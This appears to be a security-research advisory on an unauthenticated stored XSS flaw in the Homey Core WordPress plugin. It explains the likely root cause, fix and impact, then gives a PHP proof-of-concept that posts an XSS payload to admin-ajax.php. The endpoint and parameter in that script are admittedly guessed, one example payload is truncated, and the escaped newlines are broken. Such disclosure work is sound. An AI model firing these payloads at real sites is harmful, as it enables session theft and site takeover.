Atomic Edge analysis of CVE-2025-67964 (metadata-based):
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Homey Core WordPress plugin, affecting versions up to and including 2.4.3. The issue resides in a publicly accessible plugin component, likely a frontend form or API endpoint, that fails to properly sanitize user input before storing and rendering it. The CVSS score of 7.2 (High) reflects its network-based attack vector, low attack complexity, and the ability to impact other site users.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping, as indicated by the CWE-79 classification and the vulnerability description. The plugin likely accepts user-supplied data via a POST or GET parameter, stores it in the database, and later outputs it without adequate escaping (e.g., using `esc_html`, `esc_attr`). This conclusion is inferred from the CWE and standard WordPress security patterns, as the source code diff is unavailable for confirmation.
An attacker can exploit this by submitting a malicious script payload to a specific, unauthenticated endpoint. Based on WordPress plugin conventions, this is likely an AJAX action (`wp_ajax_nopriv_*`) or a custom REST API endpoint registered by the plugin. A realistic attack vector would be a POST request to `/wp-admin/admin-ajax.php` with an `action` parameter like `homey_core_*` or a request to a frontend form handler. The payload would be injected into a parameter such as `name`, `description`, or a custom field, using a basic XSS vector like `
`.
The fix in version 2.4.4 likely involved implementing proper input validation (e.g., `sanitize_text_field`) and, more critically, context-appropriate output escaping (e.g., `wp_kses_post`, `esc_html`) on all user-controlled data before it is echoed in browser responses. For stored XSS, output escaping is the primary defense, as input sanitization alone may not prevent all script injection vectors when the data is later rendered in an HTML context.
Successful exploitation allows unauthenticated attackers to inject arbitrary JavaScript that executes in the browsers of any user who views the compromised page. This can lead to session hijacking (by stealing cookies), administrative actions performed by logged-in users (like creating backdoor accounts), defacement, or redirection to malicious sites. The scope change (S:C) in the CVSS vector indicates the vulnerability can impact users beyond the immediate security scope of the plugin itself.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67964 - Homey Core <= 2.4.3 - Unauthenticated Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-67964.
* This script demonstrates unauthenticated stored XSS injection.
* The exact endpoint and parameter are inferred from plugin conventions.
* Replace $target_url with the base URL of the vulnerable WordPress site.
*/
$target_url = 'https://example.com';
// The most likely attack vector is an unauthenticated AJAX action (wp_ajax_nopriv_).
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The action name is inferred from the plugin slug 'homey-core'.
// Common patterns include 'homey_core_submit', 'homey_core_save', or 'homey_core_contact'.
$inferred_action = 'homey_core_submit_form';
// The vulnerable parameter is unknown but is likely a text field like 'message' or 'name'.
$injected_parameter = 'message';
// A basic stored XSS payload that triggers on page load.
$payload = '<img src=x onerror="alert(`Atomic Edge XSS: ${document.domain}`)">';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => $inferred_action,
$injected_parameter => $payload,
// Many AJAX handlers also expect a nonce, but the vulnerability description
// states it is unauthenticated, implying a lack of capability or nonce check.
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Sent POST to $ajax_urln";
echo "Action: $inferred_actionn";
echo "Parameter '$injected_parameter' injected with payload.n";
echo "HTTP Response Code: $http_coden";
echo "Response Body (first 500 chars): " . substr($response, 0, 500) . "n";
if ($http_code == 200 && (stripos($response, 'success') !== false || stripos($response, 'saved') !== false)) {
echo "[?] Injection may have succeeded. Visit the site's frontend to trigger the payload.n";
} else {
echo "[!] The inferred endpoint/action may be incorrect. Manual investigation required.n";
}
?>
